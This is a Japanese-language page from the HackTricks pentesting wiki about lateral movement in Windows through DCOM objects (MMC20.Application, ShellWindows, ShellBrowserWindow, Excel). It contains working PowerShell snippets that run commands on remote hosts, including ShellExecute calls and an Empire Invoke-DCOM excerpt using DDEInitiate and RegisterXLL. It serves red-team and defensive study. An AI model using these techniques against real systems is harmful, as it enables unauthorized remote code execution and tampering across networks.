16 KiB
DCOM Exec
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するために、hacktricks repo と hacktricks-cloud repoにPRを提出してください。
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象の範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。無料でお試しください。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
MMC20.Application
DCOM(分散コンポーネントオブジェクトモデル)オブジェクトは、オブジェクトをネットワーク上で相互作用させることができるため、興味深いです。Microsoftは、DCOMに関するこちらとCOMに関するこちらで良いドキュメントを提供しています。PowerShellを使用して、Get-CimInstance Win32_DCOMApplication
を実行することで、DCOMアプリケーションの一覧を取得できます。
MMC Application Class(MMC20.Application) COMオブジェクトは、MMCスナップイン操作のコンポーネントをスクリプト化することができます。このCOMオブジェクト内の異なるメソッドとプロパティを列挙しているときに、Document.ActiveViewの下にExecuteShellCommand
というメソッドがあることに気付きました。
このメソッドについてはこちらで詳しく読むことができます。これまでに、ネットワーク経由でアクセスでき、コマンドを実行できるDCOMアプリケーションがあります。最後のピースは、このDCOMアプリケーションとExecuteShellCommandメソッドを利用して、リモートホストでコードを実行することです。
幸いなことに、管理者としては、PowerShellを使用してDCOMとリモートで対話することができます。[activator]::CreateInstance([type]::GetTypeFromProgID
を使用するだけで、DCOM ProgIDとIPアドレスを指定する必要があります。それにより、リモートでそのCOMオブジェクトのインスタンスが提供されます。
その後、ExecuteShellCommand
メソッドを呼び出して、リモートホストでプロセスを開始することができます。
ShellWindows & ShellBrowserWindow
MMC20.Applicationオブジェクトには明示的な「LaunchPermissions」がなく、デフォルトの許可セットでは管理者がアクセスできるようになっています。
@tiraniddoのOleView .NETを使用すると、明示的なLaunchPermissionが設定されていない他のオブジェクトを表示できます。この場合、明示的なLaunch Permissionがないすべてのオブジェクトに絞り込むことができます。そうすると、ShellBrowserWindow
とShellWindows
という2つのオブジェクトが目立ちました。
潜在的なターゲットオブジェクトを特定する別の方法は、HKCR:\AppID\{guid}
のキーから値LaunchPermission
が欠落しているかどうかを確認することです。Launch Permissionsが設定されているオブジェクトは、データがバイナリ形式でオブジェクトのACLを表している以下のようになります。
明示的なLaunchPermissionが設定されていないオブジェクトは、特定のレジストリエントリが欠落している状態になります。
ShellWindows
最初に調査したオブジェクトはShellWindowsです。このオブジェクトにはProgIDが関連付けられていないため、Type.GetTypeFromCLSID .NETメソッドとActivator.CreateInstanceメソッドを使用して、リモートホスト上のAppIDを介してオブジェクトをインスタンス化することができます。これを行うためには、ShellWindows CLSIDを取得したので、リモートターゲット上でオブジェクトをインスタンス化することができます。
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39
$obj = [System.Activator]::CreateInstance($com)
リモートホスト上でオブジェクトがインスタンス化されると、それに対してインターフェースを作成し、任意のメソッドを呼び出すことができます。オブジェクトへの返されたハンドルには、いくつかのメソッドとプロパティが表示されますが、それらとは対話することはできません。実際にリモートホストと対話するためには、WindowsShell.Item メソッドにアクセスする必要があります。このメソッドは、Windowsシェルウィンドウを表すオブジェクトを返します。
$item = $obj.Item()
シェルウィンドウの完全なハンドルを持っていると、公開されているすべての予想されるメソッド/プロパティにアクセスできます。これらのメソッドを調べた結果、Document.Application.ShellExecute
が目立ちました。メソッドのパラメータ要件に従ってください。パラメータ要件はこちらでドキュメント化されています。
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
上記のように、私たちのコマンドはリモートホストで正常に実行されました。
ShellBrowserWindow
この特定のオブジェクトはWindows 7に存在せず、Win7-Win10で成功裏にテストされた「ShellWindows」オブジェクトよりも、横方向の移動には制限があります。
このオブジェクトの列挙に基づいて、前のオブジェクトと同様にエクスプローラーウィンドウへのインターフェースを提供するようです。このオブジェクトをインスタンス化するには、そのCLSIDを取得する必要があります。上記と同様に、OleView .NETを使用できます。
再び、空白の起動許可フィールドに注意してください。
CLSIDを使用して、前のオブジェクトで行った手順を繰り返し、オブジェクトをインスタンス化し、同じメソッドを呼び出すことができます。
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)
上記のように、コマンドはリモートターゲットで正常に実行されました。
このオブジェクトはWindowsシェルと直接連携しているため、前のオブジェクトと同様に「ShellWindows.Item」メソッドを呼び出す必要はありません。
これらの2つのDCOMオブジェクトは、リモートホストでシェルコマンドを実行するために使用できますが、他にもリモートターゲットの列挙や改ざんに使用できる興味深いメソッドがたくさんあります。これらのメソッドには次のものがあります:
Document.Application.ServiceStart()
Document.Application.ServiceStop()
Document.Application.IsServiceRunning()
Document.Application.ShutDownWindows()
Document.Application.GetSystemInformation()
ExcelDDE&RegisterXLL
同様の方法で、DCOM Excelオブジェクトを悪用して横方向に移動することも可能です。詳細については、https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcomを参照してください。
# Chunk of code from https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
## You can see here how to abuse excel for RCE
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
ツール
PowershellスクリプトInvoke-DCOM.ps1は、他のマシンでコードを実行するためのさまざまな方法を簡単に呼び出すことができます。
参考文献
- 最初の方法はhttps://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/からコピーされました。詳細についてはリンクを参照してください。
- 2番目のセクションはhttps://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/からコピーされました。詳細についてはリンクを参照してください。
重要な脆弱性を見つけて、より迅速に修正できるようにしましょう。Intruderは攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。無料でお試しください。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo および hacktricks-cloud repo にPRを提出してください。